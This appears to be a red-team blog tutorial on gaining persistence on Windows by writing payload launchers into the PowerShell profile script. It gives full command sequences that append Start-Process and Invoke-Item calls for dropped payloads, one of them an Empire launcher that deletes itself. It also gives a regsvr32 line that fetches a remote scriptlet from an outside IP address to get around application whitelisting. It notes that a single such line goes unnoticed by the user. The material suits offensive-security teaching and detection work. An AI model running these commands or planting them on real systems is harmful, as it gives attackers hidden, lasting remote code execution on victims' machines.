PowerShell profile is a PowerShell script which enables system administrators and users to customize their environment and to execute specific commands when a PowerShell session initiates. It is similar to logon scripts that are used heavily by Administrators to map network drives and printers for users or gather information about the system. Modification of the contents of a PowerShell profile script allows an adversary or a red team to use this as a persistence mechanism if the user performs work on PowerShell on a regular basis. This technique can be executed under the context of the current user.

The PowerShell profile script is stored in the folder “WindowsPowerShell” which by default is hidden from the user. If a payload has been dropped into disk the “Start-Process” cmdlet can be used to point to the location of the executable. The “Test-Path $profile” determines if a profile exists for the current user. If the profile doesn’t exist the command “New-Item -Path $profile -Type File -Force” will create a profile for the current user and the “Out-File” will rewrite the profile with the new contents.

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\tmp\pentestlab.exe"'
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PowerShell Profile – Start Process

The next time that PowerShell starts will execute the contents of the profile and a connection will established with the command and control.

Persistence – PowerShell Profile Executable

Similar to starting a process the “Invoke-Item” cmdlet can be used to perform the default action of an item i.e. run a file, open an application etc. The launcher.bat is a payload generated by Empire with capability to self-delete itself upon execution as stealthier option since it doesn’t create a new process.

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
Add-Content $profile "Invoke-Item C:\tmp\launcher.bat"
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PowerShell Profile – BAT File

When PowerShell initiates again on the system the file will be executed and the agent will communicate back with the command and control. The execution will not create a new process on the system as the example above and it will use the existing PowerShell process.

Persistence – PowerShell Profile Empire

The usage of the cmdlet “Invoke-Command” allows the execution of commands. The regsvr32 method can be used as a stealthy option since can evade application whitelisting solutions that are not properly configured and the scriptlet can be executed from a remote location.

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jWcEbr.sct s
crobj.dll }'
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PowerShell Profile – Execute Command

The Metasploit Framework contains a module (web_delivery) which can generate and serve malicious scriptlet files. However other Command and Control (C2) frameworks like PoshC2 support this functionality and can provide extended capability compare to Metasploit.

Persistence – PowerShell Profile Regsvr32

Heavy modification of the PowerShell profile with multiple commands generate a message to the user about the increased loading time. However execution of one command will not produce any message, payloads will run on the background and the user will not notice any difference. Matt Nelson did some work in the past which has been demonstrated in his blog about creating and abusing PowerShell profiles through the use of an Excel macro as a delivery mechanism. PowerShell profiles provide plenty of opportunities for code execution by storing arbitrary commands in the profile script. A schedule task can be used that will execute PowerShell in specific time to avoid the need to rely on the user to start PowerShell.

References